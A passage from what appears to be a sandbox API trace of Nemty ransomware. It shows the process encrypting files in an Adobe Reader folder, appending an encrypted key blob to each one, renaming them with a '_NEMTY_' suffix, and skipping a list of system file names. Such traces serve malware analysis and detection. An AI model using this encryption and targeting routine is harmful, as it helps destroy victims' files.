lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.875] Sleep (dwMilliseconds=0x5) [0216.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e92ff0, dwHighDateTime=0x1d561e8)) [0216.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e92ff0, dwHighDateTime=0x1d561e8)) [0216.885] GetLastError () returned 0x0 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.885] GetLastError () returned 0x0 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.885] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.885] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.885] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.885] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="Co4Dr+AHIFPP98/5rDO4VlQ6HsmhuN2XyI9jHJ9/V+askE2FCiwTwwWyyu/Ww+Sg\r\nDQ0tOC+K+aXZPs35uJ8AbYameF8ni5YDrtwAssFjYx0d+C8KmND9zNWLJ1b0KInb\r\nE8S9pP9ca+tDQcJqERn3h12A1rgQRg7M7bpnj4w3GyhKUJJL2koHg7czFtancsKd\r\nxyJiLbhmP3/NKQUffBMnqrqv7vDjpRpF0uziinGrGwepmKEYKFPUHmlIerTU0Uz5\r\ngP5zZ/6oaoLuyuC0sdEml5Wt4qaDK0mMMGi4eLuD4nzDcS3qJr+h6vkQobIx71cT\r\nW3P99/ozWl+bZrHG9BhXLw==\r\n", pcchString=0x653df5c) returned 1 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.886] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=107520) returned 1 [0216.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0216.886] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.887] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0216.895] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.895] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0216.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.896] SetFilePointer (in: hFile=0x320, lDistanceToMove=107520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a400 [0216.896] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.896] CloseHandle (hObject=0x320) returned 1 [0216.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0216.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.896] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.hyp._nemty_kgobjgd_")) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.897] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa1c00, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="can03.ths", cAlternateFileName="")) returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2=".") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="..") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="...") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="windows") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="$RECYCLE.BIN") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="rsa") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="NTDETECT.COM") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="ntldr") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="MSDOS.SYS") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="IO.SYS") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="boot.ini") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="boot.ini") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="AUTOEXEC.BAT") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="ntuser.dat") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="desktop.ini") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="CONFIG.SYS") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="RECYCLER") returned -1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="BOOTSECT.BAK") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="bootmgr") returned 1 [0216.897] lstrcmpiW (lpString1="can03.ths", lpString2="programdata") returned -1 [0216.898] lstrcmpiW (lpString1="can03.ths", lpString2="appdata") returned 1 [0216.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can03.ths", lpUsedDefaultChar=0x0) returned 9 [0216.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can03.ths", lpUsedDefaultChar=0x0) returned 9 [0216.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can03.ths", lpUsedDefaultChar=0x0) returned 9 [0216.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can03.ths", lpUsedDefaultChar=0x0) returned 9 [0216.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.898] Sleep (dwMilliseconds=0x5) [0216.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34eb9150, dwHighDateTime=0x1d561e8)) [0216.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34eb9150, dwHighDateTime=0x1d561e8)) [0216.900] GetLastError () returned 0x0 [0216.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.900] GetLastError () returned 0x0 [0216.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.901] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.901] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="aq3qbam0DmaeI0JW1JJ7W4d8aAJK7qGBYnaqT7KH92T+zX7wVZ9OxrdKNEt8XR/+\r\ni545WTmSVP+6/YCExIXCWQ8Ojuwi90B2V+9NLjJVzQLwr3tsOvEw9Mp24xupvL+5\r\n88Lt50KiafPv6fQuImvh7YQn90t8h7PDJHdjcTBJ+DXkyTHeQjLTuw07LHyh4K2D\r\ntzGuV4Jzcdywhl/dXkXOqlD0p2kCvtyiIcb0X0jgPbwgvNbpcvKvew6p7DnayQZr\r\nFWMWK2f5/839z0T+bG+Wb6GURFgEREzNWVYEzsaZwQZo3yOflCZtpRwcjZYYhTV8\r\nbpB5BZoVL5aJPSZB/MvmzQ==\r\n", pcchString=0x653df5c) returned 1 [0216.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can03.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can03.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.901] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=662528) returned 1 [0216.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0216.901] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.901] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0216.912] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.912] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0216.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.913] SetFilePointer (in: hFile=0x320, lDistanceToMove=662528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa1c00 [0216.913] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.915] CloseHandle (hObject=0x320) returned 1 [0216.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0216.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0216.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0216.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.915] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can03.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can03.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can03.ths._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can03.ths._nemty_kgobjgd_")) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0216.916] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c3d, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="can129.hsp", cAlternateFileName="")) returned 1 [0216.916] lstrcmpiW (lpString1="can129.hsp", lpString2=".") returned 1 [0216.916] lstrcmpiW (lpString1="can129.hsp", lpString2="..") returned 1 [0216.916] lstrcmpiW (lpString1="can129.hsp", lpString2="...") returned 1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="windows") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="$RECYCLE.BIN") returned 1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="rsa") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="NTDETECT.COM") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="ntldr") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="MSDOS.SYS") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="IO.SYS") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="boot.ini") returned 1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="boot.ini") returned 1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="ntuser.dat") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="desktop.ini") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="CONFIG.SYS") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="RECYCLER") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="BOOTSECT.BAK") returned 1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="bootmgr") returned 1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="programdata") returned -1 [0216.917] lstrcmpiW (lpString1="can129.hsp", lpString2="appdata") returned 1 [0216.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can129.hsp", lpUsedDefaultChar=0x0) returned 10 [0216.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 